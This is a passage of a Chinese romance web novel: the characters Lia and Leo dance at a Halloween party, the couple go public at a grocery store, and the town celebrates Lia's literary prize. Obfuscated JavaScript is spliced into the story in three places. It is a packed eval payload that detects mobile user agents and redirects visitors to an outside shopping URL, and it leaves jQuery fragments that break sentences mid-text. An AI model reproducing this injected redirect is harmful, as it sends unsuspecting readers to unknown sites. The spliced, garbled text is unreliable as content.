她环顾四周，看到安娜阿姨正拉着试图逃跑的老哈里斯先生跳一种古怪的巫婆舞步，看到莉齐已经和一个扮演科学怪人的小伙子斗起舞来，动作夸张充满戏剧性。看到帕姆老师带着几个话剧社的孩子，扮演成童话里的反派，正手拉手围成一圈蹦跳…… 音乐再次响起，是一首节奏稍慢的曲子。 莉娅忽然想起什么，她拉了拉利奥的袖子，示意他再低下头。 “那天毕业舞会，”她的声音混合在音乐里，“你要跟我说的话，我没听见。” 她抬起头，看着头盔下那双眼睛，“现在……要再说一遍吗？” 利奥的身体似乎僵硬了一下，他没有立刻回答，只是透过那两个孔洞凝视着她。 周围是群魔乱舞的喧嚣，但在他们之间时间仿佛缓慢下来。他看了她很久，然后他缓缓地向她伸出了一只手。 手掌宽厚，指节分明，带着常年与工具打交道的粗糙痕迹。 他的声音低沉，穿过头盔的阻隔和音乐的屏障。 “莉娅·罗斯小姐，愿意赏脸跳个舞吗？” 那一瞬间，莉娅仿佛看到了很多年前，那个在喧嚣舞池中走向她，却被声浪淹没的少年。 她没有去看周围是否有好奇的目光，没有去在意莉齐可能投来的兴奋眼神。她只是看着那只伸向她的手，看着头盔后那双等待答案的眼睛。 她将自己的手，坚定地放在了他的掌心。 他的手指立刻收拢，将她微凉的手完全包裹。 “我的荣幸，”她微笑着，仰头看着他。 音乐在流淌，光影在旋转。 他牵着她，动作起初有些生涩像是很不习惯这种场合。他的步伐算不上标准，甚至偶尔会踩到她的脚，但他揽在她腰后的手臂很稳。 莉娅忍不住轻笑，看着他那个一动不动的硬纸板头盔，随着音乐轻微晃动的样子，觉得这大概是今晚最可爱的装扮。 他们跳得很慢，几乎是在原地轻轻摇晃。莉娅能感觉到他透过工装布料传来的体温，能闻到他身上淡淡的味道。 “这个头盔，”莉娅忍不住小声调侃，“视野好吗？” “还行。”头盔里传来闷闷的回答，“就是有点……不透气。” “那为什么不摘了？” “……还没到时候。” 一曲终了，下一首是更快的摇滚乐，人群的欢呼和舞动更加狂野。 利奥低头，在她耳边说：“太吵了。” 莉娅点点头，她也觉得耳膜有些受不了。 他很自然地牵着她开始往人群外围移动。 莉齐看到了他们，冲莉娅挤眉弄眼，做了一个“加油”的手势，然后转身又投入了与“木乃伊”的舞蹈中。 走出体育馆喧闹的大门，世界一下子安静下来，利奥这才松开了她的手，但两人并肩站着距离依然很近。他抬手似乎想取下那个头盔，但动作顿了一下，又放下了。 “怎么了？”莉莉娅问。 “……有点卡住了。”他的声音从头盔里传出来。 莉娅忍不住笑出声，伸手去帮他。 那硬纸板头盔确实做得粗糙，边缘有些毛糙，好像被他的头发勾住了。她小心地帮他调整角度，指尖偶尔碰到他温热的耳廓和颈后的短发。 她能感觉到他身体微微绷紧，但配合地低着头。终于，“咔哒”一声轻响，头盔被取了下来。 他的头发被压得有些乱，额头上带着细密的汗珠。可能是因为头盔里不透气，他的脸颊也有些泛红。 “看来防御力太高，也有副作用。”莉娅笑着把那个滑稽的头盔拿在手里把玩。 利奥抬手理了理头发，呼出一口气，没反驳。 “要回去吗？”他问。 莉娅摇摇头，指了指通往小镇中心的方向：“走走吧？好像很久没有这样……安静地走走了。” 他们沿着被南瓜灯点缀的街道慢慢走着。 家家户户的门廊上都摆放着造型各异的南瓜灯，有的狰狞，有的搞笑。偶尔有晚归的、穿着装扮的孩子跑过，手里拎着满满的糖果袋。 “其实，”利奥忽然开口，“毕业舞会那天，我想问的是……” 他停顿了一下，像是在组织语言，或者积攒勇气，“……能不能，只跟我跳一支舞。” 莉娅停下脚步，转头看他。 路灯在他棱角分明的侧脸上投下柔和的光影。 原来，当年被喧嚣淹没的是这样的一句请求。 “那时候，”她轻声说，“就算你问了，我大概也会拉着奥黛丽一起吧。” 想起小时候的懵懂和固执，她不禁莞尔。 “嗯。”利奥也微微勾起嘴角，“我知道。” 所以他才没有坚持，任由那句话被声浪吞没。他知道那时候的她，还未完全准备好只接受他一个人的邀请。 他们继续往前走，不知不觉走到了米勒家附近。远远就看到那个可以在里面藏人的南瓜灯，依然在门廊上散发着温暖的光芒。 “那个大家伙，”莉娅指着那个南瓜，“里面真的能藏人吗？” “理论上可以。”利奥说，“要试试吗？” 莉娅惊讶地看着他，但她被勾起了好奇心：“怎么试？” 利奥带着她走到门廊下，那个南瓜灯几乎到她的腰部。他小心地将里面燃烧着的、放在玻璃罐里的小蜡烛取出来，放在一边，然后示意莉娅：“蹲下，钻进去看看。” 莉娅觉得好笑又刺激，她拉起有些碍事的僵尸新娘裙摆，小心翼翼地蹲下身，把头探进那个被掏空的南瓜里，里面空间果然很大。 “看到什么了？”利奥在外面问，声音因为隔着南瓜壁而显得有些闷。 “一片漆黑，”莉娅的声音在里面回荡，带着笑意，“还有……南瓜的味道。” 忽然，她感觉外面的光线一暗，一个身影也蹲了下来，接着利奥的头也探了进来，空间瞬间变得拥挤。他的呼吸近在咫尺，带着温热的气息拂过她的脸颊。黑暗中他们靠得极近，透过南瓜眼睛和嘴巴雕刻的孔洞细微的光线漏进来，勉强勾勒出彼此模糊的轮廓和明亮的眼睛。 就在这个狭小黑暗、充满南瓜气息的空间。 “现在呢？”他低声问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962718|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，声音在密闭的空间里产生回响，异常清晰。 莉娅能听到自己的心跳声。 她轻声回答：“现在……能看到你了。” 他们就这样在南瓜肚子里，头碰着头，安静地待了一会儿。 谁也没有说话，只是感受着这奇特又亲密的氛围。外面是万圣节之夜的微凉空气，里面是他们之间涌动的、无声的暖流。 过了一会儿，利奥先退了出去，然后伸手把她也拉了出来。重新呼吸到新鲜空气后两人看着对方，都忍不住笑了起来。莉娅的僵尸新娘发型有点乱了，利奥的头发也更乱了。 莉娅整理着头发。 利奥看着她，他把那个取下来的硬纸板头盔拿在手里：“这个看来就没什么用了，丢掉吧。” 莉娅抢着头盔，抬头看着他，“谁说没用的，留给我。” 他们站在米勒家布满装饰的门廊下，周围是安静的夜晚和点点南瓜灯火，派对还在远处喧嚣。 “不早了，”利奥说，“我送你回去。” “好。” 他依旧没有牵她的手，但两人并肩走在回老屋的路上，肩膀偶尔会轻轻碰到一起。影子被路灯拉得很长，交织在一起。莉娅稳稳抱着那个硬纸板头盔。 在她家门口，她停下脚步。 “要进来喝杯热可可吗？”她问，“算是……感谢你的头盔和南瓜探险。” 利奥摇了摇头：“太晚了。” 他顿了顿，又说，“明天……修理铺见？” 莉娅微笑着点头：“嗯，明天见。” 他站在原地，看着她打开门，走进那片温暖的光晕里。在她准备关上门时，他忽然叫住她：“莉娅。” 她探出头。 他站在台阶下，声音平稳却清晰：“万圣节快乐。” 莉娅倚在门边，怀里还抱着那个可笑的头盔，心里却像被蜜糖浸透。 “你也是，”她回应道，声音里带着藏不住的笑意，“利奥，万圣节快乐。” 门轻轻关上。 利奥在门外站了一会儿，听着里面隐约的脚步声，然后转身，双手插在工装裤口袋里，踏着满地的月光和南瓜灯影，朝着修理铺的方向走去。 而在门内，莉娅将那个硬纸板头盔小心地放在客厅的桌子上。她看着这个充满手工痕迹的物件，觉得它比任何“最佳恐怖王”的路标好上无数倍。 这大概是她度过的最好的一个万圣节了。 万圣节狂欢的余烬尚未完全冷却，关于“最佳恐怖王”最终归属，获胜者不是志在必得的莉齐，而是邮局的老哈里斯先生。 那位扮演吸血鬼德古拉，用慢吞吞的邮差腔调索要糖果的老先生。 据评选委员会，也就是几位高中老师和社区中心代表组成透露，哈里斯先生获胜的理由是“最具反差萌的恐怖感”以及“完美融入了个人特色的即兴表演”。 想想看吧，一个平日总是温和提醒你“有包裹要签收”的老好人，突然戴着夸张獠牙，用那种拖长了调子的语气说“我……要……吸……你的……血……”，确实产生了一种奇特的喜剧恐怖效果。 这个消息让莉齐像是被戳破的气球，整整一个早上都蔫蔫地趴在“鲈鱼喉”酒馆的吧台上，对着那杯没动过的咖啡唉声叹气。 48. chapter 48 “反差萌？即兴表演？”她嘟囔着，“我的僵尸伯爵难道不够恐怖吗？我的嘶吼不够逼真吗？我的血渍不够……艺术吗？他们根本不懂真正的恐怖美学，一个路标，我连把它插在哪儿都想好了。” 莉娅忍着笑，拍了拍她垮下去的肩膀：“好了莉齐，哈里斯先生确实很有创意。而且你的装扮绝对是全场最用心的，大家都这么说。” “用心有什么用？”莉齐把脸埋进胳膊里，声音闷闷的，“荣誉才是永恒的，明年……明年我一定要赢。我得开始构思了，也许是个更颠覆性的……” 莉娅无奈地笑了笑。 为了补充一些日常消耗品，也为了逃离莉齐关于“明年万圣节是否应该扮演会喷火的哥斯拉”的激烈构思，莉娅来到了安娜阿姨的杂货铺。 安娜阿姨的杂货铺远不止是一个买卖商品的地方，它是各种八卦信息的传播地。 推开那扇漆色有些剥落的木门，空气里永远混杂着干货的醇厚香气。 靠窗的角落里，几个半大的孩子正挤在一起，脑袋凑着头翻看几本边角卷起的漫画书，不时发出低低的惊呼或争论。 一位年轻的母亲站在饮料柜前，看似在挑选牛奶，实则已经和安娜阿姨聊了快二十分钟，话题从天气转到孩子的牙齿，再转到镇上最近的水管维修。 消息就是这样像藤蔓一样，在看似随意的闲谈中悄然生长、蔓延。 “早上好，亲爱的。”安娜阿姨洪亮的声音立刻响起，她正站在一个小梯子上整理货架顶层的罐头，“需要什么自己拿，或者把清单给我这个老家伙。” 莉娅笑着把准备好的清单递过去。 安娜阿姨利落地从梯子上下来，拍了拍沾了些许面粉的围裙。她接过清单，戴上她那副挂在脖子上的、用绳子系着的老花镜。 “嗯……面粉，糖，咖啡豆，黄油……”安娜阿姨一边念着，一边手脚麻利地开始从货架上取货，动作流畅，“鸡蛋要不要？今天刚送来的，农场的新鲜货。” “要一打吧。”莉娅说。 安娜阿姨弯腰从冷藏柜里取鸡蛋，状似随意地问道：“这些……是打算买了带去修理铺的？” 莉娅还没回答，旁边那位挑选牛奶的年轻母亲就笑着接话了：“肯定是啦，安娜，我之前还看到莉娅提着黛西小厨的袋子往修理铺走呢。” 角落里一个正在挑选钓鱼线的老头，也就是是老厄尔抬起头，咧开缺了颗牙的嘴笑道：“可不是嘛，万圣节那天晚上好些人都看到了，利奥那小子戴着个怪模怪样的纸盒子，邀请咱们的女作家跳舞呢。跳完还一起溜了，哈哈。” 杂货铺里其他几个顾客也纷纷投来含笑的目光，气氛瞬间变得热络起来。 这种谈论并非恶意，更像是一种集体性的对熟悉晚辈的关怀和一种……嗯，对美好故事发展的乐见其成。 安娜阿姨把一袋糖放进莉娅的购物篮，双手在围裙上擦了擦，身体微微前倾，压低了点声音，但依旧足以让店里的人都听到：“所以亲爱的，跟我们这些老家伙透个底儿？你和我们那个修理铺的闷葫芦……现在到底是个什么情况？我们可都好奇坏。” 莉娅的脸颊微微发热。 她知道，在这个小镇秘密是很难存在的，尤其是当安娜阿姨和她的杂货铺参与进来的时候。 她看着周围那些充满期待和善意的面孔，忽然觉得也许没必要再藏着掖着了。这份被大家见证和祝福的感情，本身就不是什么需要隐藏的事情。 莉娅深吸了一口气，脸上泛起一层薄薄的红晕，声音不大。 “我们……大概，是在交往。” 短暂的寂静。 随即，安娜阿姨猛地拍了一下手掌，脸上绽放出巨大的笑容：“我就知道，早该如此。老天，我从你们这么高的时候就看出来了。” 她用手在膝盖附近比划了一个高度，“那时候莉娅就像个小尾巴似的跟着利奥，利奥那小子别看闷不吭声，眼神可一直没离开过你。你们俩一个像湖水，一个像水底的石头，天生就该在一起。” “可不是嘛，”老厄尔用力点头，“利奥那孩子跟他爹一个性子，三棍子打不出个屁来。要不是为了你他怎么可能跑去参加什么万圣节派对？还戴个纸盒子。我认识他这么多年，就没见他干过这么……这么超过的事。” “还有还有，”另一个正在挑选面包的大婶加入进来，“前几天我看他一个人在那摆弄他那个破皮卡时还哼着歌，我当时就想，这闷葫芦是不是终于开花了。” 大家你一言我一语举着各种或细微的例子，拼凑出利奥那些早已被众人看在眼里的情感。 安娜阿姨最后总结陈词，语气笃定：“所以啊莉娅。那孩子虽然心里装着事儿，但他实在，靠得住。你们好好处，到时候结婚，婚礼的糖果我安娜全包了。” 在一片善意的哄笑和祝福声中，莉娅提着满满一篮子东西，红着脸出了杂货铺。 阳光洒在身上，暖洋洋的。 提着沉重的购物袋，莉娅没有直接回家，而是拐向了那条熟悉的路。 卷帘门依旧半开着，里面传来熟悉的金属敲击声。 她走进去，适应了一下室内稍暗的光线。 利奥正背对着她在维修台前对付一个复杂的汽车变速箱零件，手里拿着一个小锤子轻轻敲打着什么。听到脚步声，他头也没回。 “放旁边就行。”他以为是来送零件的什么人。 莉娅没说话，把购物袋轻轻放在那张还算干净的工作台一角，然后走到他身边，看着他那双沾满黑色油污却稳定异常的手。 利奥这才侧过头，看到她，顿了顿：“是你。” “嗯，”莉娅应道，目光扫过台上那些金属零件，“打扰你了吗？” “没有。”他放下小锤子，拿起一块干净的棉纱开始擦拭手指上的油污。 他的目光落在那个鼓鼓囊囊的购物袋上，“东西买齐了？” “齐了。”莉娅走到那个旧冰箱前，自然地将需要冷藏的牛奶、黄油和鸡蛋一样样放进去。 冰箱里被她陆续带来的食物填得满满当当，与他的几罐啤酒放在一起。她又将面粉、糖和咖啡豆放到阁楼楼梯下方她专门整理出来的一个小储物格里。 整个过程熟练，仿佛这里也是她的地盘之一。 利奥就站在那里，重新拿起工具，准备继续工作。 做完这些，莉娅走到他身边，靠在工作台边缘。她想起杂货铺里的那些话，嘴角忍不住微微上扬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962719|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “刚才我去安娜阿姨那里了。”她开口说道。 “嗯。”利奥应了一声，注意力似乎还在那个变速箱上。 “她……还有店里的其他人，”莉娅的声音里带着一丝笑意，“问了我们之间的关系。” 利奥正在拧螺丝的手停了下来。 他没有抬头，但莉娅能看到他后颈的肌肉似乎绷紧了些。他没有问“你怎么回答”，只是沉默地等待着，像一块等待潮水拍打的礁石。 莉娅看着他这副样子，觉得有些可爱。 她轻声说：“我告诉他们……我们大概，是在交往。” 空气仿佛凝固了几秒。 然后，利奥极其缓慢地转过了头。他的脸上依旧没什么表情，他看着她，目光像是有重量落在她的脸上。 “……哦。” 他最终只发出了一个单音节词。 莉娅往前走了一小步靠近他，仰头看着他的眼睛：“安娜阿姨说，她从小就觉得我们很相配。老厄尔说要不是因为我，你绝对不会去参加万圣节派对，更不会戴那个……防御满分的头盔。”她忍不住笑了起来，“还有人说，看到你一个人在修车的时候哼歌。” 利奥的耳根以肉眼可见的速度泛起了红色，他有些不自在地移开视线，重新拿起工具，对着那个已经拧得很紧的螺丝，又徒劳地拧了两下，低声嘟囔了一句：“……他们话真多。” 莉娅笑得更开心了。 她知道，这已经是他能表现出来的、最大程度的不好意思和默认了。 她没有再追问，也没有再逗他。 只是静静地站在他身边，看着他重新投入工作，他的动作似乎比刚才更用力了一些。 过了一会儿他忽然放下工具，转过身面对着她。他的手上还沾着些许油污，但他似乎并不在意。 他看着她，眼神认真而专注。 “你……”他开口，声音有些低哑，“不后悔？” 莉娅愣了一下，随即明白了他的意思。 他是问，在杂货铺那样公开的场合确认了关系，她会不会后悔。他始终觉得，自己这个满身油污、沉默寡言的修理铺老板，与她这个作家之间，隔着距离。 莉娅摇了摇头，目光清澈而坚定地看着他：“不后悔。” 她顿了顿，补充道，“从来没有。” 利奥深深地看了她一眼，然后做了一个让莉娅有些意外的动作，他抬起那只相对干净一些的手背轻轻碰了碰她的脸颊。 他迅速收回手，重新转过身拿起一个更大的扳手，语气恢复了平时的平稳，甚至带上了一点生硬：“……那就好，这边油烟大你去楼上坐着吧。” 莉娅摸着被他碰过的那一小块皮肤，没有听话地去楼上，而是拉过旁边一张旧凳子，在他不远处坐了下来。 “我就在这里，”她说，随手拿起一本他放在旁边的汽车杂志，“看你干活。” 利奥没再说话，是背对着她继续着手里的工作。 修理铺里恢复了之前的安静。 阳光从敞开的卷帘门斜照进来，在地上投下一方明亮的光斑，光斑里尘埃缓缓飞舞。莉娅翻着那本她其实看不太懂的杂志，偶尔抬头看看利奥。 就这样就挺好。 49. chapter 49 之后莉娅继续着她的写作，出版社那边大概是看中了她那些随笔中独特的风格，将她那本散文故事集的策划案提前了，希望她能多写几篇高质量的，以便筛选后尽快编撰成册。 而利奥的修理铺也在不知不觉中发生了细微的变化，阁楼那扇小窗换上了莉娅挑选的浅蓝色条纹棉布窗帘，阳光透过时会在地上投下柔和的光影。窗边多了一张结实的旧书桌，是利奥不知从哪里找来的，他亲自打磨平整，刷上了清漆，成了莉娅临时的写字台，上面常常摊开着她的稿纸和书籍。 那个小冰箱里也不再只有啤酒和黄油，塞满了新鲜蔬果、牛奶、鸡蛋，还有莉娅做的各种食物。角落里甚至多了一个属于她的马克杯，杯子上印着一只打瞌睡的猫。 不忙的时候，他们会一起去湖中心钓鱼。莉娅负责安静地坐着，看浮漂沉浮，或者看利奥利落地整理渔线、挂饵。有时能钓上几条鲈鱼，晚上就成了餐桌上的佳肴。 每周一次的读书俱乐部地点有时依然在米勒太太家，有时则按照莉娅的建议移到了湖边。她们在草地上铺开野餐布，架起简易烤架，一边烤肉，一边读书。 秋天在斑斓的树叶中过去，冬天带着凛冽的空气和第一场雪悄然来临。就在这样一个呵气成霜的季节里，莉娅的散文故事集《湖畔笔记》正式出版了。 更让人惊喜的是，这本书被提名入围了一个颇具分量的地方文学奖项。 消息像长了翅膀一样飞遍了小镇。 最高兴的莫过于“鲈鱼喉”酒馆的莉齐：“这必须得庆祝。” 她几乎是在得知消息的下一秒就拍板决定，“就在酒馆办个派对，等着颁奖结果出来，不管是中了还是没中，咱们都得好好热闹一下。” 派对当晚，“鲈鱼喉”酒馆比往常更加人声鼎沸，几乎挤满了镇上的人。长条桌上摆满了各家各户带来的拿手菜，安娜阿姨的秘制烤肉肠、米勒太太的苹果派、老杰克提供的免费啤酒和黛西小厨的炸鸡块…… “我就说咱们莉娅是块金子，迟早要发光。”安娜阿姨嗓门洪亮，用力拍着莉娅的后背。 “那书里写我种番茄那段，可把我乐坏了。”哈里叔叔笑得见牙不见眼。 “听说评委会主席是个老古板，喜欢那种特别沉重的题材，不知道能不能欣赏咱们莉安这种清新风格……”也有人带着些许担忧低声议论。 莉齐穿梭在人群中，一边给自己倒酒，一边给客人们添酒，声音因为兴奋而格外响亮：“都放心，就算没得奖，咱们莉娅也是橡林镇的骄傲。再说了，万一中了呢？那咱们这派对可就变成庆功宴了。” 海利也来了，她穿着一身与酒馆氛围格格不入但依旧时尚的套装，正和莉齐聊得热火朝天，手里也端着一杯啤酒，看到莉娅她兴奋地挥手，大声说：“亲爱的，这地方太棒了，比那些无聊的时装周有意思多了。” 安娜阿姨正拉着有些不好意思的吉姆医生，在酒馆中央一小块空地上跳着一种节奏欢快的东欧民间舞蹈，脚步踢踏，裙摆飞扬，引得周围人阵阵叫好。 老厄尔、渔夫汉克、杂货店哈里、帕姆…… 莉娅目光所及，几乎她认识的所有镇上的人都在这里了。 酒馆老板希卡端着一个小盘子挤过来，里面是几块炸得金黄酥脆的鱼块：“尝尝莉娅，早上刚钓上来的鲈鱼，很久没吃到了吧？” 莉娅接过，道了谢，咬了一口外酥里嫩，就是这个味道。 利奥就坐在角落，他背靠着墙壁，手里拿着一杯啤酒，小口喝着。有几个年轻小伙子上前，笑嘻嘻地要跟他比赛腕力，他摆了摆手，目光没离开莉娅。 莉娅走到他身边坐下，周围的喧嚣像温暖的潮水般包裹着她。 她想起在州府那个豪华俱乐部里的酒会，而在这里，在这充满了粗犷笑声、食物原始香气和朴实关怀的酒馆里，她感到前所未有的放松和自在。 她无条件地、深深地喜爱着这一切。 就在这时，她口袋里的电话响了。几乎是瞬间整个酒馆奇迹般地安静了下来，所有人都停下了动作，放下了酒杯，目光齐刷刷地投向莉娅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962720|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连安娜阿姨都停下了舞步，只有收音机里还在低声播放着一首老旧的乡村歌曲。 莉娅在所有人的注视下，拿出手机，按下了接听键。 “喂，您好……是的，我是莉娅·罗斯。” “嗯。” “好的。” “谢谢您。” “再见。” 她挂断了电话，将手机放回口袋。然后她抬起头，看向周围那一张张充满期待和紧张的脸，露出了一个灿烂的笑容：“获奖了。” 短暂的寂静。 随即爆发出的是比刚才热烈十倍的欢呼和掌声，人们涌上来拥抱她，拍打她的肩膀，酒杯被高高举起，祝福声几乎要震破耳膜。 在一片混乱的喜悦中，莉娅第一个转身用力地抱住了身边的利奥。他的身体僵硬了一瞬，之后他紧紧地回抱住了她，将她整个人圈进怀里。 “相机，我的相机。”海莉尖叫着，从她那个昂贵的皮包里翻出一个小巧的相机，“快来所有人，我们拍张照片纪念这一刻。” 她指挥着，让莉娅和利奥站在最中间，莉娅手里还拿着那本刚刚获奖的《湖畔笔记》。安娜阿姨挤到莉娅左边，手里还挥舞着一条彩色的披肩。莉齐笑嘻嘻地搂着海莉的肩膀，仿佛她们是相识多年的老友。 老杰克、哈里叔叔、汉克、米勒太太、吉姆医生…… 酒馆里所有的人，都挤挤挨挨地凑到了镜头前。 “准备好了吗？看这里，笑一个。” 咔嚓。 闪光灯亮起的瞬间，时间仿佛被定格。 照片上莉娅在正中间，微微侧头，利奥站在她身边，手臂依然保护性地环着她的腰，脸上是罕见的柔和。 背景是挤满了人的、热闹非凡的“鲈鱼喉”酒馆，每一张脸上都写着祝福与喜悦。老杰克那时候还在举杯，安娜正笑得前仰后合，莉齐的手正搭在身旁人的肩膀上…… 莉娅想起自己书中的赠言。 「献给我出生的小镇，和我爱的每一个人。」